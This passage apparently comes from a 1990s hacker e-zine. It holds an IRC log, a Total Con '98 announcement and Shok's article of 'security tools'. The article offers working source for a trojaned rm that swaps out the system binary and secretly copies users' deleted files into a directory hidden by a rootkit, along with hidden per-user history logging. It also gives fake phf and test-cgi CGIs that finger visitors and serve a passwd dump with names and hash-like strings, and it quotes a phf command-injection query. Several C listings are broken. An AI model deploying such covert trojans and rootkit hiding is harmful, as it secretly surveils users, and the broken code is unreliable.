  1604. [Tremle_(tremle@163.164.162.19)] I;ll take yer word for it
  1605. [Tremle_(tremle@163.164.162.19)] what else you got btw?
  1606. [Tremle_(tremle@163.164.162.19)] can you check the filesize completelley?
  1607. [msg(tremle)] 2 secs
  1608. [Tremle_(tremle@163.164.162.19)] I mena will you check it?
  1609. >>> Tremle_ [tremle@163.164.162.19] requested PING from xFli
  1610. [Tremle_(tremle@163.164.162.19)] fuck
  1611. [msg(tremle_)] -r--------   1 root     root       933744 Aug  4 12:16 885rem.c
  1612. [Tremle_(tremle@163.164.162.19)] infiniete dcc
  1613. [Tremle_(tremle@163.164.162.19)] ?
  1614. [msg(tremle_)] 933 k
  1615. [Tremle_(tremle@163.164.162.19)] you did an infinite dcc?
  1616. [msg(tremle_)] no way dammit
  1617. [Tremle_(tremle@163.164.162.19)] serious have you?
  1618. [msg(tremle_)] serious. NO
  1619. [Tremle_(tremle@163.164.162.19)] ok
  1620. [Tremle_(tremle@163.164.162.19)] so1o thinks you have
  1621. [msg(tremle_)] wtf would so1o know?
  1622. [msg(tremle_)] i can't stand that g1mp
  1623. [Tremle_(tremle@163.164.162.19)] hmm
  1624. [Tremle_(tremle@163.164.162.19)] so what size is it again?
  1625. [msg(tremle_)] 933k
  1626. [Tremle_(tremle@163.164.162.19)] k
  1627. [Tremle_(tremle@163.164.162.19)] never seen an exploit this big before
  1628. >>> Tremle_ [tremle@163.164.162.19] requested PING from xFli
  1629. [Tremle_(tremle@163.164.162.19)] my spellign sukcs, im such a homo...
  1630. [Tremle_(tremle@163.164.162.19)] so1o is so cool
  1631. [Tremle_(tremle@163.164.162.19)] i smell
  1632. [Tremle_(tremle@163.164.162.19)] hey, you;re a fucking lair and sutff
  1633. ∙φ∙ DCC lost SEND to tremle_ [/home/security/885rem.c]
  1634.  
  1635. ───────────────────────────────────────────────────────────────────────────────
  1636. ===============================================================================
  1637. ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
  1638. ===============================================================================
  1639. ───────────────────────────────────────────────────────────────────────────────
  1640.  
  1641. Like, nothing happened and stuff..
  1642.  
  1643. .so1o
  1644.  
  1645. ───────────────────────────────────────────────────────────────────────────────
  1646. ===============================================================================
  1647. ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
  1648. ===============================================================================
  1649. ───────────────────────────────────────────────────────────────────────────────
  1650.   1. TOTALCON '98 : so1o
  1651. ───────────────────────────────────────────────────────────────────────────────
  1652.  
  1653. ******************************************************************************
  1654.                          http://www.aom.co.uk/total/
  1655. ******************************************************************************
  1656.   +------------------------------------+------------------------------------+
  1657.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1658.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1659.   +------------------------------------+------------------------------------+
  1660. ******************************************************************************
  1661.                          http://www.aom.co.uk/total/
  1662. ******************************************************************************
  1663.  
  1664.  Total Con '98 is now a reality, here are preliminary details...
  1665.  ===============================================================
  1666.  
  1667.  Venue        :  The Old Firestation, Silver Street, Bristol, ENGLAND
  1668.  Date         :  Late March 1998   (probably the last week)
  1669.  Duration     :  1 night           (12:00pm -> 12:00pm next day)
  1670.  
  1671.  What         :  12 system network with internet access
  1672.                  Loud music
  1673.                  Fully licensed bar downstairs
  1674.                  Elite UV and spotlights
  1675.                  Channel 4 media coverage  (hopefully)
  1676.  
  1677.                  ALOT of cool people
  1678.                  ^^^^^^^^^^^^^^^^^^^
  1679.       *** NO SPEAKERS WHATSOEVER *** *** NO SPEAKERS WHATSOEVER ***
  1680.  
  1681.  
  1682.  Travel        : Easily accessible by car, train, bus or plane.
  1683.  Accomodation  : You can crash out in the Firestation (its HUGE) or book one
  1684.                  of many hotels in the immediate area.
  1685.  
  1686.  
  1687. ******************************************************************************
  1688.                          http://www.aom.co.uk/total/
  1689. ******************************************************************************
  1690.   +------------------------------------+------------------------------------+
  1691.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1692.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1693.   +------------------------------------+------------------------------------+
  1694. ******************************************************************************
  1695.                          http://www.aom.co.uk/total/
  1696. ******************************************************************************
  1697.  
  1698. ───────────────────────────────────────────────────────────────────────────────
  1699.   2. Security / Monitoring tools : Shok
  1700. ───────────────────────────────────────────────────────────────────────────────
  1701.  
  1702.                  SECURITY/MONITORING (some misc. tools I wrote)
  1703.                  ---------------------------------------------
  1704.                            By (--==+*~Shok~*+==--)
  1705.     
  1706. Okay, well........welcome to this thing......by Shok. 
  1707. What I plan for this to be, is some various utilities that you might think
  1708. as of use and what not. This is mainly a few security tips that I like to
  1709. use.
  1710.  
  1711. First off, edit your /etc/profile, and add the line:
  1712. export HISTFILE=/tmp/hist/`whoami`
  1713.  
  1714. and then do:
  1715. mkdir /tmp/hist;chmud 1777 /tmp/hist
  1716.  
  1717. You now want to hide that file, so the users don't see the dir (it can be
  1718. seen with set but not too many people check :) and you hide it with the
  1719. rootkit's ls.
  1720.  
  1721. Another few things I like to do.
  1722. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden
  1723. (via rootkit ls), and it copies the file they are trying to delete to
  1724. /tmp/fill (which is also hidden via rootkit ls). 
  1725. There are two versions of this....I wrote the first one in shell script,
  1726. but do to the fact it has to be a+r, I wrote it in C afterwords. Here is
  1727. the rm.sh:
  1728.  
  1729. #!/bin/sh
  1730. # rm.sh -- rm "trojan" by (--==+*~Shok~*+==--) 
  1731.  
  1732. if [ $# > 1 ] 
  1733. then
  1734.  
  1735. case $1 in
  1736. -i)
  1737. shift
  1738. cp -f $* /tmp/fill &>/dev/null
  1739. doexec /bin/rm.bak rm -i $*
  1740. ;;
  1741. --interactive)
  1742. shift
  1743. cp -f $* /tmp/fill &>/dev/null
  1744. doexec /bin/rm.bak rm -i $* 
  1745. ;;
  1746.  
  1747. -f)
  1748. shift
  1749. cp -f $* /tmp/fill &>/dev/null
  1750. /bin/rm.bak -f $*
  1751. ;; 
  1752. --force)
  1753. shift
  1754. cp -f $* /tmp/fill &>/dev/null
  1755. /bin/rm.bak -f $* 
  1756. ;;
  1757.  
  1758. -d)
  1759. shift
  1760. cp $1/* /tmp/fill &>/dev/null
  1761. /bin/rm.bak -d $*
  1762. ;; 
  1763. --directory)
  1764. shift
  1765. cp $1/* /tmp/fill &>/dev/null
  1766. /bin/rm.bak -d $* 
  1767. ;;
  1768.  
  1769. -v)
  1770. shift
  1771. cp -f $* /tmp/fill &>/dev/null
  1772. /bin/rm.bak -v $*
  1773. ;;
  1774. --verbose)
  1775. shift
  1776. cp -f $* /tmp/fill &>/dev/null
  1777. /bin/rm.bak -v $* 
  1778. ;;
  1779.  
  1780. -r)
  1781. shift
  1782. cp -f $1/* /tmp/fill &>/dev/null
  1783. /bin/rm.bak -R $*
  1784. ;; 
  1785. -R)
  1786. shift
  1787. cp -f $1/* /tmp/fill &>/dev/null
  1788. /bin/rm.bak -R $*
  1789. ;; 
  1790. --recursive)
  1791. shift
  1792. cp -f $1/* /tmp/fill &>/dev/null
  1793. /bin/rm.bak -R $* 
  1794. ;;
  1795.  
  1796. -ri)
  1797. shift
  1798. cp -f $1/* /tmp/fill &>/dev/null
  1799. /bin/rm.bak -ri $*
  1800. ;;
  1801. -Ri)
  1802. shift
  1803. cp -f $1/* /tmp/fill &>/dev/null
  1804. /bin/rm.bak -ri $*
  1805. ;;
  1806.  
  1807. -rf)
  1808. shift
  1809. cp -f $1/* /tmp/fill &>/dev/null
  1810. cp -f $1 /tmp/fill &>/dev/null  
  1811. /bin/rm.bak -rf $*
  1812. ;;
  1813. -Rf)
  1814. shift
  1815. cp -f $1/* /tmp/fill &>/dev/null
  1816. cp -f $1 /tmp/fill &>/dev/null
  1817. /bin/rm.bak -rf $*
  1818. ;;
  1819.  
  1820. -rd)
  1821. shift
  1822. cp -f $1/* /tmp/fill &>/dev/null
  1823. /bin/rm.bak -rd $*
  1824. ;;
  1825. -Rd)
  1826. shift
  1827. cp -f $1/* /tmp/fill &>/dev/null
  1828. /bin/rm.bak -rd $*
  1829. ;;
  1830.  
  1831. -Rv)
  1832. shift
  1833. cp -f $1/* /tmp/fill &>/dev/null
  1834. /bin/rm.bak -rv $*
  1835. ;;
  1836. -rv)
  1837. shift
  1838. cp -f $1/* /tmp/fill &>/dev/null
  1839. /bin/rm.bak -rv $*
  1840. ;;
  1841.  
  1842. -fv)
  1843. shift
  1844. cp -f $1 /tmp/fill &>/dev/null
  1845. /bin/rm.bak -fv $*
  1846. ;;
  1847.  
  1848. -Rfv)
  1849. shift
  1850. cp -f $1/* /tmp/fill &>/dev/null
  1851. cp -f $1   /tmp/fill &>/dev/null
  1852. /bin/rm.bak -rfv $*
  1853. ;;
  1854. -rfv)
  1855. shift
  1856. cp -f $1/* /tmp/fill &>/dev/null
  1857. cp -f $1   /tmp/fill &>/dev/null
  1858. /bin/rm.bak -rfv $*
  1859. ;;
  1860.  
  1861. *)
  1862. cp -f $* /tmp/fill &>/dev/null
  1863. /bin/rm.bak $*
  1864. ;;
  1865. esac
  1866.  
  1867. else
  1868.  
  1869. IT=$1
  1870. cp -f $IT /tmp/fill
  1871. /bin/rm.bak $IT
  1872. fi
  1873. #----------------------------------------------------
  1874.  
  1875. You may have to change the line:
  1876. doexec /bin/rm.bak -i $*
  1877.  
  1878. to:
  1879. /bin/rm.bak -i $* 
  1880. if you do not have doexec which is on linux (or redhat anyway)
  1881.  
  1882.  
  1883.  
  1884. Now for rm.c:
  1885.  
  1886. /* ------------------------------------------------------ */
  1887. /* rm.c -- rm "trojan" by (--==+*~Shok~*+==--)            */
  1888. /* ------------------------------------------------------ */
  1889.  
  1890. #include <sys/stat.h>
  1891. #include <string.h>
  1892. #include <stdio.h>
  1893. #include <stdlib.h> 
  1894. #include <unistd.h>
  1895.  
  1896.  
  1897. void main(int argc, char **argv)
  1898. {
  1899.   struct stat filestats;
  1900.   int i;
  1901.   if (argc > 2) 
  1902.       {
  1903.         if (strcmp("-i", argv[1])==0) goto interactive;
  1904.         if (strcmp("-f", argv[1])==0) goto force;
  1905.         if (strcmp("-v", argv[1])==0) goto verbose;
  1906.         if (strcmp("-r", argv[1])==0) goto recursive;
  1907.         if (strcmp("-rf", argv[1])==0) goto rf;
  1908.         if (strcmp("-ri", argv[1])==0) goto ri;
  1909.         if (strcmp("-rv", argv[1])==0) goto rv;
  1910.         if (strcmp("-rvf", argv[1])==0) goto rfv;
  1911.         if (strcmp("-rfv", argv[1])==0) goto rfv;
  1912.         if (strcmp("-Rvf", argv[1])==0) goto rfv;
  1913.         if (strcmp("-Rfv", argv[1])==0) goto rfv;
  1914.         if (strcmp("-frv", argv[1])==0) goto rfv;
  1915.         if (strcmp("-fvr", argv[1])==0) goto rfv;
  1916.         if (strcmp("-fRv", argv[1])==0) goto rfv;
  1917.         if (strcmp("-fvR", argv[1])==0) goto rfv;
  1918.         if (strcmp("-vfr", argv[1])==0) goto rfv;
  1919.         if (strcmp("-vrf", argv[1])==0) goto rfv;
  1920.         if (strcmp("-vfR", argv[1])==0) goto rfv;
  1921.         if (strcmp("-vRf", argv[1])==0) goto rfv;
  1922.         if (strcmp("-fr", argv[1])==0) goto rf;
  1923.         if (strcmp("-ir", argv[1])==0) goto ri;
  1924.         if (strcmp("-vr", argv[1])==0) goto rv;
  1925.         
  1926.         if (strcmp("--interactive", argv[1])==0) goto interactive;
  1927.         if (strcmp("--force", argv[1])==0) goto force;
  1928.         if (strcmp("--verbose", argv[1])==0) goto verbose;
  1929.         if (strcmp("--recursive", argv[1])==0) goto recursive;
  1930.       } 
  1931.  
  1932.   else {
  1933.     setenv("PROGRAM", argv[1], 1);
  1934.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1935.     system("/bin/rm.bak $PROGRAM");
  1936.     unsetenv("PROGRAM");
  1937.   }
  1938.  
  1939.  
  1940. interactive:
  1941.  
  1942.   lstat(argv[2], &filestats);
  1943.   for (i=2;i<argc;i++) 
  1944.   {
  1945.       if (S_ISDIR(filestats.st_mode))
  1946.       {
  1947.         setenv("PROGRAM", argv[i], 2);
  1948.         system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  1949.         unsetenv("PROGRAM");
  1950.         execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  1951.      } 
  1952.  
  1953.        else 
  1954.          {
  1955.         setenv("PROGRAM", argv[2], 1);
  1956.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1957.         unsetenv("PROGRAM");
  1958.         execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  1959.          }    
  1960.   }
  1961.  
  1962.   
  1963. force:
  1964.  
  1965.   for (i=2;i<argc;i++) 
  1966.   {
  1967.       setenv("PROGRAM", argv[i], 1);
  1968.       system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1969.     execl("/bin/rm.bak","rm","-f",argv[i],NULL);
  1970.     unsetenv("PROGRAM");
  1971.  
  1972.   }
  1973.  
  1974.  
  1975. verbose:
  1976.   for (i=2;i<argc;i++) 
  1977.   {
  1978.     setenv("PROGRAM", argv[i], 1);
  1979.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1980.     execl("/bin/rm.bak","rm","-v",argv[i],NULL);
  1981.     unsetenv("PROGRAM");
  1982.   }
  1983.  
  1984. recursive:
  1985.   for (i=2;i<argc;i++) 
  1986.   {
  1987.       setenv("PROGRAM", argv[i], 1);
  1988.       system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  1989.       execl("/bin/rm.bak","rm","-r",argv[i],NULL);
  1990.       unsetenv("PROGRAM");
  1991.   }
  1992.  
  1993. rf:
  1994.  
  1995.   for (i=2;i<argc;i++) 
  1996.   {
  1997.     lstat(argv[i], &filestats);
  1998.     if (S_ISDIR(filestats.st_mode))
  1999.     {
  2000.         setenv("PROGRAM", argv[i], 1);
  2001.         system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
  2002.         unsetenv("PROGRAM");
  2003.         execl("/bin/rm.bak","rm","-rf",argv[i],NULL);
  2004.     }
  2005.     else 
  2006.     {
  2007.         setenv("PROGRAM", argv[i], 1);
  2008.         system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  2009.         unsetenv("PROGRAM");
  2010.         execl("/bin/rm.bak","rm","-rf",argv[i],NULL);
  2011.     }
  2012.   } 
  2013.  
  2014.  
  2015. ri:
  2016.  
  2017.   for (i=2;i<argc;i++) 
  2018.   {
  2019.     setenv("PROGRAM", argv[i], 1);
  2020.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  2021.     execl("/bin/rm.bak","rm","-ri",argv[i],NULL);
  2022.     unsetenv("PROGRAM");
  2023.   }
  2024.  
  2025.  
  2026. rv:
  2027.  
  2028.   for (i=2;i<argc;i++) 
  2029.   {
  2030.     setenv("PROGRAM", argv[i], 1);
  2031.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  2032.     execl("/bin/rm.bak","rm","-rv",argv[i],NULL);
  2033.     unsetenv("PROGRAM");
  2034.   }
  2035.  
  2036. rfv:
  2037.  
  2038.   for (i=2;i<argc;i++) 
  2039.   {
  2040.     setenv("PROGRAM", argv[i], 1);
  2041.     system("cp -f $PROGRAM /tmp/fill &>/dev/null");
  2042.     execl("/bin/rm.bak","rm","-rfv",argv[i],NULL);
  2043.     unsetenv("PROGRAM");
  2044.   }
  2045.  
  2046. }
  2047.  
  2048. This program can of course be improved, especially replacing the strcmp's
  2049. with getopt() but I could care less....
  2050.  
  2051. Now when ever a user deletes something it will first be copied to
  2052. /tmp/fill before it's deleted.
  2053.  
  2054. Now, even though it's logged to /var/log/httpd/access_log, I'd like to
  2055. know right away when someone tries to use the phf or test-cgi
  2056. vulnerabilities on me. So I replaced the phf and test-cgi programs in my
  2057. /cgi-bin/ with this. The first will get the info on who it is, then it
  2058. will send a fake passwd file. This can be improved of course but I don't
  2059. care to take the time. 
  2060.  
  2061. phf.c:
  2062.  
  2063.  
  2064. /* ----------------------------------------------------- */
  2065. /* phf "trojan" by (--==+*~Shok~*+==--)             */
  2066. /* ----------------------------------------------------- */
  2067.  
  2068. #include <stdio.h>
  2069. #include <unistd.h>
  2070. #include <stdlib.h>
  2071. void main()
  2072.  
  2073. FILE *tmpfile, *fingerinfo;
  2074. char *host, *addr, *browser, *query_string;
  2075. char fingerbuf[2048];
  2076.  
  2077. host=getenv("REMOTE_HOST"); 
  2078. addr=getenv("REMOTE_ADDR");
  2079. browser=getenv("HTTP_USER_AGENT");
  2080. query_string=getenv("QUERY_STRING"); 
  2081.  
  2082. /* This is to prevent a finger war, the ip address below is my ip address */
  2083. /* just to be on the safe side. But I do have in.fingerd: LOCAL to allow  */
  2084. /* me to finger without starting a finger war.                   */
  2085. if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0); 
  2086.  
  2087. system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo1");
  2088.  
  2089. tmpfile=fopen("/var/tmp/.phf", "w"); 
  2090. fingerinfo=fopen("/var/tmp/.fingerinfo1", "r");
  2091.  
  2092. fprintf(tmpfile, "The following person used phf!!\n\n");
  2093. fprintf(tmpfile, "\tHost: %s\n", host);
  2094. fprintf(tmpfile, "\tAddress: %s\n", addr);
  2095. fprintf(tmpfile, "\tBrowser type: %s\n", browser);
  2096. fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string); 
  2097.  
  2098. fingerinfo=fopen("/var/tmp/.fingerinfo1", "r");
  2099. fgets(fingerbuf, 2047, fingerinfo);
  2100. fclose(fingerinfo);
  2101.  
  2102.  
  2103. fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n");
  2104. fprintf(tmpfile, "--------------------------------------------------\n");
  2105. fputs(fingerbuf, tmpfile);
  2106.  
  2107. fclose(tmpfile);
  2108.  
  2109. system("mail -s \"SOMEONE USED phf!!\" root </var/tmp/.phf");
  2110.  
  2111. unlink("/var/tmp/.fingerinfo1");
  2112. unlink("/var/tmp/.phf"); 
  2113.  
  2114. printf("Content-type: text/html\n\n");
  2115. printf("<H1>Query Results</H1>\n");
  2116. printf("<P>\n");
  2117. printf("/usr/local/bin/ph -m  alias=x \n");
  2118. printf("cat /etc/passwd\n");
  2119. printf("<PRE>\n");
  2120. printf("root:TQoabYuFUSoSk:0:1:Operator:/:/bin/csh\n");
  2121. printf("nobody:*:65534:65534::/:\n");
  2122. printf("daemon:*:1:1::/:\n");
  2123. printf("sys:*:2:2::/:/bin/csh\n");
  2124. printf("bin:*:3:3::/bin:\n");
  2125. printf("uucp:*:4:8::/var/spool/uucppublic:\n");
  2126. printf("news:*:6:6::/var/spool/news:/bin/csh\n");
  2127. printf("ingres:*:7:7::/usr/ingres:/bin/csh\n");
  2128. printf("mail:*:8:12::/:\n");
  2129. printf("johnny:Abx4dgSg:MaTr|x:/home/MaTrix:/bin/sh\n");
  2130. printf("audit:*:9:9::/etc/security/audit:/bin/csh\n");
  2131. printf("sync::1:1::/:/bin/sync\n");
  2132. printf("kill8r:AfBs45Syf:100:25:Siko:/home/Siko:/bin/sh\n");
  2133. printf("ppp::70:70:PPP login:/tmp:/etc/ppplogin\n");
  2134. printf("sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
  2135. printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
  2136. printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
  2137. printf("luseruser:xAFjgodjFa4:254:100:Pr0t0:/home/Pr0t0c0l:/bin/sh\n");
  2138. printf("babum:aDtg3Gs645:BiT-#hacker:454:100:/home/BiT:/bin/sh\n");
  2139. printf("www:*:30:30:World Wide Web:/home/www:/usr/bin/bash\n");
  2140. printf("pop:*:70:70:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
  2141. printf("zirzlaff:.a6RPNtUhGW0k:3190:100:Torsten Zirzlaff:/home/tz:/usr/local/bin/tcsh\n");
  2142. printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
  2143. printf("henrik:v50YvKjFwWw.M:4120:18:HeNriK:/usr/sirius/henrik:/usr/bin/bash\n");
  2144. printf("inas:fStcY3^gf:8900:100:InaSaLoser:/home/is:/usr/local/bin/tcsh\n");
  2145. printf("ivo:*:8920:100:Da Tru hacker-Lamer:/home/ivo:/usr/local/bin/tcsh\n");
  2146. printf("pcguest::7454:100:Temp hax0r account:/tmp:/usr/bin/sh\n");
  2147. printf("simone:Em8y0pwT.5umo:8930:100:Simone Kleine:/home/simone:/usr/bin/bash\n");
  2148. printf("shko:aDrsBsefYr:666:100:SHLRP:/home/shok:/bin/bash\n");
  2149. printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
  2150. printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
  2151. printf("hammer:FwhX26Hf1:8940:100:Peter Hammerstein:/home/hammer:/usr/bin/bash\n");
  2152. printf("patrick:cYz7MXTIyGByQ:8950:100:Patrick Mergell:/home/patrick:/usr/bin/bash\n");
  2153. printf("chr:T/SRcchg0fK3I:8960:100:Christian Zemlin:/home/chr:/usr/bin/bash\n");
  2154. printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
  2155. printf("guest:AefxF2a2D:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
  2156. printf("</PRE>");
  2157. }                 
  2158.  
  2159. This is what the above will show up in the root's mail:
  2160.  
  2161.  
  2162. The following person used phf!!
  2163.  
  2164.         Host: ts037d12.chi-il.concentric.net
  2165.         Address: 206.173.188.168
  2166.         User (if able): (null)
  2167.         Ident (if able): (null)
  2168.         Browser type: (null)
  2169.         Query String (aka command entered): Qalias=X%0aid
  2170.  
  2171. I did a finger of the person trying to exploit us:
  2172. --------------------------------------------------
  2173. [206.173.188.168]
  2174. (probably Win95 which is why there was no output as Win95 doesn't have an
  2175. actual "finger" program)
  2176.  
  2177.  
  2178.  
  2179.  
  2180. Now for the test-cgi...this does the same thing accept it will send a 
  2181. "File Not found" instead:
  2182.  
  2183. test-cgi.c:
  2184.  
  2185. /* --------------------------------------------------- */
  2186. /* test-cgi.c -- test-cgi "trojan" by --==+*~Shok~+*-- */
  2187. /* --------------------------------------------------- */
  2188. #include <stdio.h>
  2189. #include <unistd.h>
  2190. #include <stdlib.h>
  2191.  
  2192. void main(void)
  2193.   FILE *tmpfile, *fingerinfo;
  2194.   char *host *addr, *browser, *query_string;
  2195.   char fingerbuf[2048];
  2196.  
  2197.   host=getenv("REMOTE_HOST"); 
  2198.   addr=getenv("REMOTE_ADDR");
  2199.   browser=getenv("HTTP_USER_AGENT");
  2200.   query_string=getenv("QUERY_STRING"); 
  2201.  
  2202.   /* This is to prevent a finger war, for safety, even though you SHOULD  */
  2203.   /* have in.fingerd: LOCAL in your hosts.allow                  */
  2204.  
  2205.   if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0);
  2206.   system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo");
  2207.  
  2208.   tmpfile=fopen("/var/tmp/.test-cgi", "w");
  2209.   fprintf(tmpfile, "The following person used phf:\n\n");
  2210.   fprintf(tmpfile, "\tHost: %s\n", host);
  2211.   fprintf(tmpfile, "\tAddress: %s\n", addr);
  2212.   fprintf(tmpfile, "\tBrowser type: %s\n ", browser);
  2213.   fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string);
  2214.   fingerinfo=fopen("/var/tmp/.fingerinfo", "r");
  2215.   fgets(fingerbuf, 2047, fingerinfo); 
  2216.   fclose(fingerinfo);
  2217.  
  2218.  
  2219.   fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n");
  2220.   fprintf(tmpfile, "--------------------------------------------------\n");
  2221.   fputs(fingerbuf, tmpfile);
  2222.  
  2223.   fclose(tmpfile);
  2224.  
  2225.   /* REPLACE THIS PART WITH WHO YOU WANT TO MAIL IT TO change the root to */
  2226.   /* to whatever you want                           */
  2227.  
  2228.   system("mail -s \"SOMEONE USED test-cgi!!\" root < /var/tmp/.test-cgi");
  2229.  
  2230.   unlink("/var/tmp/.fingerinfo"); 
  2231.   unlink("/var/tmp/.test-cgi"); 
  2232.  
  2233.   printf("Content-type: text/html\n\n");
  2234.   printf("<h2>File Not found\n</h2>");
  2235.   printf("The requested URL /cgi-bin/test-cgi was not found on this server.");
  2236.  
  2237.  
  2238.  
  2239.  
  2240. Just as an added bonus here.........
  2241. When someone goes to a directory you have .htaccess in, it will send 401,
  2242. which is the unauthorized error code (pretty sure it's 401 but not in the
  2243. mood to check). Now I editted my srm.conf (usually
  2244. /usr/local/etc/httpd/conf/srm.conf), and added this line:
  2245.  
  2246. ErrorDocument 401    /cgi-bin/unauthorized.cgi
  2247.  
  2248. This is basically like the one above.......except it differs
  2249. by the the 'user' part, which lets you know what user it was...this is a
  2250. good way to know if there is an unauthorized attempt, and/or what user is
  2251. logging into your webpage that is secured......
  2252.  
  2253. unauthorized.c:
  2254.  
  2255.  
  2256. /* -------------------------------------------------------- */
  2257. /* Unauthorized cgi "trojan" script by (--==+*~Shok~*+==--) */
  2258. /* -------------------------------------------------------- */
  2259. #include <stdio.h>
  2260. #include <unistd.h>
  2261. #include <stdlib.h>
  2262. void main(void)
  2263. {
  2264.   FILE *tmpfile, *fingerinfo;
  2265.   char *host, *addr, *user, *ident, *browser, *query_string;
  2266.   char fingerbuf[2048];
  2267.  
  2268.   host=getenv("REMOTE_HOST");
  2269.   addr=getenv("REMOTE_ADDR");
  2270.   user=getenv("REMOTE_USER");
  2271.   ident=getenv("REMOTE_IDENT");
  2272.   browser=getenv("HTTP_USER_AGENT");
  2273.   query_string=getenv("QUERY_STRING");
  2274.  
  2275.   /* This can get ugly */
  2276.   if ((strcmp(addr, "206.71.69.243"))==0) exit(0);
  2277.  
  2278.   system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo");
  2279.  
  2280.   tmpfile=fopen("/var/tmp/.unauthorized", "w");
  2281.   fprintf(tmpfile, "The following person has unauthorized access:\n\n");
  2282.   fprintf(tmpfile, "\tHost: %s\n", host);
  2283.   fprintf(tmpfile, "\tAddress: %s\n", addr);
  2284.   fprintf(tmpfile, "\tUser (if able): %s\n", user);
  2285.   fprintf(tmpfile, "\tIdent (if able): %s\n", ident);
  2286.   fprintf(tmpfile, "\tBrowser type: %s\n ", browser);
  2287.   fingerinfo=fopen("/var/tmp/.fingerinfo", "r");
  2288.   fgets(fingerbuf, 2047, fingerinfo);
  2289.   fclose(fingerinfo);
  2290.  
  2291.  
  2292.   fprintf(tmpfile, "I did a finger of the person:\n");
  2293.   fprintf(tmpfile, "-----------------------------\n");
  2294.   fputs(fingerbuf, tmpfile);
  2295.  
  2296.   fclose(tmpfile);
  2297.  
  2298.   system("mail -s \"Somone tried unauthorized access\" root </var/tmp/.unauthorized");
  2299.  
  2300.   unlink("/var/tmp/.fingerinfo");
  2301.   unlink("/var/tmp/.unauthorized");
  2302.  
  2303.   printf("Content-type: text/html\n\n");
  2304.   printf("<HEAD><TITLE>Unauthorized</TITLE></HEAD>");
  2305.   printf("<BODY><H1>Unauthorized</H1>");
  2306.   printf("You are unauthorized and unwanted here.\n Go away <FONT COLOR=\"red\">d0rk</FONT><P>");
  2307.   printf("</BODY>");
  2308.  
  2309. }
  2310.  
  2311.  
  2312. Here is my hosts.deny too.........in case you wanted to see it ;)
  2313. ALL: .cc.edu: /bin/mail -s "%h from CC.EDU tried to access us!!" root
  2314. ALL: .gov, .mil: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "GOV/MIL ATTEMPTED ACCESS from %h!! Using %s." root &
  2315. in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root
  2316.  
  2317. #FINGER - Noisy people
  2318. #------------
  2319. in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & 
  2320.  
  2321. #Security reasons
  2322. #---------------
  2323. in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root &
  2324. in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root &
  2325. #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root &
  2326.  
  2327. # PORTMAP 
  2328. #-------------
  2329. portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root &
  2330.  
  2331. #COMSAT
  2332. in.comsat:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root &
  2333.  
  2334. #REXECD
  2335. in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root &
  2336.  
  2337. #RSHD
  2338. in.rshd:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root &
  2339.  
  2340. #NNRPD
  2341. in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root &
  2342.  
  2343. #RPCBIND
  2344. rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root &
  2345.  
  2346. #ALL: paranoid
  2347.  
  2348.  
  2349. Well.......................................we're winding down to the end.
  2350.  
  2351. It has been fun and I don't have much more to say on this article.
  2352. Thanks for reading, please feel free to use and distribute this, although
  2353. I wish for you to leave my comments and "header" at the tops ... ya know
